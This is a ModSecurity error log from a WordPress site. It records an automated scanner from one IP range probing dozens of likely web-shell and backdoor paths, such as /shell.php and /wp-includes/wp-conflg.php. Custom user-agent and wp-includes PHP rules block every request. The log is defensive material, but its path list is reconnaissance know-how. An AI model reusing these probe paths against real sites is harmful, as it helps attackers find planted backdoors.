[Wed Feb 04 00:36:15.290809 2026] [:error] [pid 5148:tid 5165] [client 85.203.21.81:25365] [client 85.203.21.81] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jcrop/"] [unique_id "aYIj_783HCHLtUIbS7IowQAAAU4"]
[Wed Feb 04 00:36:15.585870 2026] [:error] [pid 5148:tid 5152] [client 85.203.21.130:48059] [client 85.203.21.130] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aYIj_783HCHLtUIbS7IowgAAAUE"]
[Wed Feb 04 00:36:15.885907 2026] [:error] [pid 28720:tid 28726] [client 85.203.21.131:49541] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/commands/"] [unique_id "aYIj_2mRXm2bmr_sYiYLEgAAAQQ"]
[Wed Feb 04 00:36:16.176641 2026] [:error] [pid 5229:tid 5238] [client 85.203.21.99:29173] [client 85.203.21.99] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aYIkAEKmEgmJub93yUpIQwAAAYc"]
[Wed Feb 04 00:36:16.469188 2026] [:error] [pid 43028:tid 43040] [client 85.203.21.116:58515] [client 85.203.21.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/column/"] [unique_id "aYIkAFnHWnJD4cJC5DsDkgAAAMo"]
[Wed Feb 04 00:36:16.759121 2026] [:error] [pid 42922:tid 42997] [client 85.203.21.147:47477] [client 85.203.21.147] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwenty/assets/fonts/inter/"] [unique_id "aYIkAGazX4WPS_dQRkjWXAAAAIw"]
[Wed Feb 04 00:36:17.051957 2026] [:error] [pid 42920:tid 42942] [client 85.203.21.93:64815] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/separator/"] [unique_id "aYIkASix3YKltG4EU0m-CAAAAA0"]
[Wed Feb 04 00:36:17.347181 2026] [:error] [pid 5229:tid 5239] [client 85.203.21.100:60101] [client 85.203.21.100] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/themes/"] [unique_id "aYIkAUKmEgmJub93yUpIUgAAAYg"]
[Wed Feb 04 00:36:17.640912 2026] [:error] [pid 43028:tid 43043] [client 85.203.21.88:46259] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/admin.php"] [unique_id "aYIkAVnHWnJD4cJC5DsDlAAAAM0"]
[Wed Feb 04 00:36:17.933189 2026] [:error] [pid 42921:tid 42962] [client 85.203.21.120:55841] [client 85.203.21.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ufbngowues/main.php"] [unique_id "aYIkAYblShffGl-01oe0DwAAAEQ"]
[Wed Feb 04 00:36:18.227311 2026] [:error] [pid 5229:tid 5231] [client 85.203.21.131:41855] [client 85.203.21.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/post-comments-form/"] [unique_id "aYIkAkKmEgmJub93yUpIXAAAAYA"]
[Wed Feb 04 00:36:18.521945 2026] [:error] [pid 5229:tid 5242] [client 85.203.21.93:39759] [client 85.203.21.93] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-file.php"] [unique_id "aYIkAkKmEgmJub93yUpIYQAAAYs"]
[Wed Feb 04 00:36:18.829016 2026] [:error] [pid 28720:tid 28745] [client 85.203.21.74:35451] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aYIkAmmRXm2bmr_sYiYLFgAAARc"]
[Wed Feb 04 00:36:19.121216 2026] [:error] [pid 43028:tid 43038] [client 85.203.21.112:50141] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/edit-wolf.php"] [unique_id "aYIkA1nHWnJD4cJC5DsDlgAAAMg"]
[Wed Feb 04 00:36:19.413977 2026] [:error] [pid 5148:tid 5158] [client 85.203.21.120:29677] [client 85.203.21.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/chosen.php"] [unique_id "aYIkA783HCHLtUIbS7IoyAAAAUc"]
[Wed Feb 04 00:36:19.709376 2026] [:error] [pid 28720:tid 28729] [client 85.203.21.112:27639] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aYIkA2mRXm2bmr_sYiYLGgAAAQc"]
[Wed Feb 04 00:36:20.022435 2026] [:error] [pid 43028:tid 43045] [client 85.203.21.112:51321] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/twenty/function.php"] [unique_id "aYIkBFnHWnJD4cJC5DsDlwAAAM8"]
[Wed Feb 04 00:36:20.355808 2026] [:error] [pid 42921:tid 42960] [client 85.203.21.123:37243] [client 85.203.21.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/chosen.php"] [unique_id "aYIkBIblShffGl-01oe0EAAAAEI"]
[Wed Feb 04 00:36:20.684925 2026] [:error] [pid 43028:tid 43031] [client 85.203.21.152:31085] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/av.php"] [unique_id "aYIkBFnHWnJD4cJC5DsDmQAAAME"]
[Wed Feb 04 00:36:20.977112 2026] [:error] [pid 42920:tid 42952] [client 85.203.21.96:31611] [client 85.203.21.96] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/mediaelement/"] [unique_id "aYIkBCix3YKltG4EU0m-DAAAABc"]
[Wed Feb 04 00:36:21.269073 2026] [:error] [pid 42920:tid 42941] [client 85.203.21.153:40457] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/classwithtostring.php"] [unique_id "aYIkBSix3YKltG4EU0m-DQAAAAw"]
[Wed Feb 04 00:36:21.562702 2026] [:error] [pid 42921:tid 42973] [client 85.203.21.150:31853] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/contact-form-7/wp-contact-form-7.php"] [unique_id "aYIkBYblShffGl-01oe0EgAAAE8"]
[Wed Feb 04 00:36:21.856803 2026] [:error] [pid 43028:tid 43030] [client 85.203.21.86:29185] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aYIkBVnHWnJD4cJC5DsDnQAAAMA"]
[Wed Feb 04 00:36:22.164437 2026] [:error] [pid 43028:tid 43033] [client 85.203.21.88:40847] [client 85.203.21.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/paragraph/"] [unique_id "aYIkBlnHWnJD4cJC5DsDngAAAMM"]
[Wed Feb 04 00:36:22.456913 2026] [:error] [pid 42921:tid 42971] [client 85.203.21.137:64119] [client 85.203.21.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/wp-conflg.php"] [unique_id "aYIkBoblShffGl-01oe0FwAAAE0"]
[Wed Feb 04 00:36:22.751610 2026] [:error] [pid 5229:tid 5247] [client 85.203.21.95:42905] [client 85.203.21.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aYIkBkKmEgmJub93yUpIhAAAAZA"]
[Wed Feb 04 00:36:23.044736 2026] [:error] [pid 43028:tid 43038] [client 85.203.21.76:61221] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/Text/"] [unique_id "aYIkB1nHWnJD4cJC5DsDnwAAAMg"]
[Wed Feb 04 00:36:23.338402 2026] [:error] [pid 5229:tid 5234] [client 85.203.21.153:53677] [client 85.203.21.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/search/"] [unique_id "aYIkB0KmEgmJub93yUpIiQAAAYM"]
[Wed Feb 04 00:36:23.633366 2026] [:error] [pid 5229:tid 5237] [client 85.203.21.92:53885] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aYIkB0KmEgmJub93yUpIjQAAAYY"]
[Wed Feb 04 00:36:23.928230 2026] [:error] [pid 28720:tid 28743] [client 85.203.21.77:53549] [client 85.203.21.77] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/images/chosen.php"] [unique_id "aYIkB2mRXm2bmr_sYiYLHgAAARU"]
[Wed Feb 04 00:36:24.222907 2026] [:error] [pid 28720:tid 28746] [client 85.203.21.112:26619] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aYIkCGmRXm2bmr_sYiYLIQAAARg"]
[Wed Feb 04 00:36:24.515794 2026] [:error] [pid 43028:tid 43035] [client 85.203.21.120:53491] [client 85.203.21.120] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/includes/template-singl-portfolio.php"] [unique_id "aYIkCFnHWnJD4cJC5DsDowAAAMU"]
[Wed Feb 04 00:36:26.356108 2026] [:error] [pid 5148:tid 5159] [client 85.203.21.143:34269] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aYIkCr83HCHLtUIbS7IoygAAAUg"]
[Wed Feb 04 00:36:26.650465 2026] [:error] [pid 43028:tid 43053] [client 85.203.21.86:48377] [client 85.203.21.86] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/nextpage/"] [unique_id "aYIkClnHWnJD4cJC5DsDpQAAANc"]
[Wed Feb 04 00:36:26.941828 2026] [:error] [pid 5229:tid 5242] [client 85.203.21.114:64229] [client 85.203.21.114] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/calendar/"] [unique_id "aYIkCkKmEgmJub93yUpIqwAAAYs"]
[Wed Feb 04 00:36:27.233894 2026] [:error] [pid 43028:tid 43040] [client 85.203.21.135:30593] [client 85.203.21.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aYIkC1nHWnJD4cJC5DsDpwAAAMo"]
[Wed Feb 04 00:36:27.526352 2026] [:error] [pid 5229:tid 5239] [client 85.203.21.112:46471] [client 85.203.21.112] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "aYIkC0KmEgmJub93yUpIsAAAAYg"]
[Wed Feb 04 00:36:27.824766 2026] [:error] [pid 5229:tid 5235] [client 85.203.21.76:25651] [client 85.203.21.76] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/pullquote/"] [unique_id "aYIkC0KmEgmJub93yUpItAAAAYQ"]
[Wed Feb 04 00:36:28.119565 2026] [:error] [pid 5148:tid 5170] [client 85.203.21.85:29343] [client 85.203.21.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/customize/autoload_classmap.php"] [unique_id "aYIkDL83HCHLtUIbS7IozAAAAVM"]
[Wed Feb 04 00:36:28.414206 2026] [:error] [pid 42922:tid 42997] [client 85.203.21.74:54479] [client 85.203.21.74] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/user.php"] [unique_id "aYIkDGazX4WPS_dQRkjWagAAAIw"]
[Wed Feb 04 00:36:28.709421 2026] [:error] [pid 42920:tid 42934] [client 85.203.21.79:46991] [client 85.203.21.79] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/group/"] [unique_id "aYIkDCix3YKltG4EU0m-EAAAAAU"]
[Wed Feb 04 00:36:29.006116 2026] [:error] [pid 43028:tid 43038] [client 85.203.21.70:30821] [client 85.203.21.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-supports/chosen.php"] [unique_id "aYIkDVnHWnJD4cJC5DsDrQAAAMg"]
[Wed Feb 04 00:36:29.299070 2026] [:error] [pid 42920:tid 42939] [client 85.203.21.150:54547] [client 85.203.21.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/shell3.php"] [unique_id "aYIkDSix3YKltG4EU0m-EQAAAAo"]
[Wed Feb 04 00:36:29.591817 2026] [:error] [pid 43028:tid 43054] [client 85.203.21.116:31141] [client 85.203.21.116] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/chosen.php"] [unique_id "aYIkDVnHWnJD4cJC5DsDrwAAANg"]
[Wed Feb 04 00:36:29.883274 2026] [:error] [pid 5229:tid 5236] [client 85.203.21.109:27085] [client 85.203.21.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/images/"] [unique_id "aYIkDUKmEgmJub93yUpIyQAAAYU"]
[Wed Feb 04 00:36:30.175118 2026] [:error] [pid 5229:tid 5254] [client 85.203.21.143:54823] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/xp.php"] [unique_id "aYIkDkKmEgmJub93yUpIzgAAAZc"]
[Wed Feb 04 00:36:30.468372 2026] [:error] [pid 42920:tid 42946] [client 85.203.21.152:64033] [client 85.203.21.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/PHPMailer/chosen.php"] [unique_id "aYIkDiix3YKltG4EU0m-EgAAABE"]
[Wed Feb 04 00:36:30.764033 2026] [:error] [pid 5148:tid 5173] [client 85.203.21.135:57597] [client 85.203.21.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/nux/"] [unique_id "aYIkDr83HCHLtUIbS7IozgAAAVY"]
[Wed Feb 04 00:36:31.055854 2026] [:error] [pid 43028:tid 43033] [client 85.203.21.132:65453] [client 85.203.21.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/chosen.php"] [unique_id "aYIkD1nHWnJD4cJC5DsDtAAAAMM"]
[Wed Feb 04 00:36:31.368710 2026] [:error] [pid 42921:tid 42974] [client 85.203.21.135:56179] [client 85.203.21.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/rest-api/"] [unique_id "aYIkD4blShffGl-01oe0GwAAAFA"]
[Wed Feb 04 00:36:31.661928 2026] [:error] [pid 43028:tid 43046] [client 85.203.21.143:43661] [client 85.203.21.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/edit-widgets/"] [unique_id "aYIkD1nHWnJD4cJC5DsDtwAAANA"]
[Wed Feb 04 00:36:31.957169 2026] [:error] [pid 43028:tid 43047] [client 85.203.21.92:21877] [client 85.203.21.92] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/autoload_classmap.php"] [unique_id "aYIkD1nHWnJD4cJC5DsDuAAAANE"]
[Wed Feb 04 00:36:32.248516 2026] [:error] [pid 42922:tid 42990] [client 85.203.21.133:56909] [client 85.203.21.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aYIkEGazX4WPS_dQRkjWbQAAAIU"]
[Wed Feb 04 00:36:32.540897 2026] [:error] [pid 28720:tid 28723] [client 85.203.21.95:59179] [client 85.203.21.95] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/js/imgareaselect/"] [unique_id "aYIkEGmRXm2bmr_sYiYLIwAAAQE"]
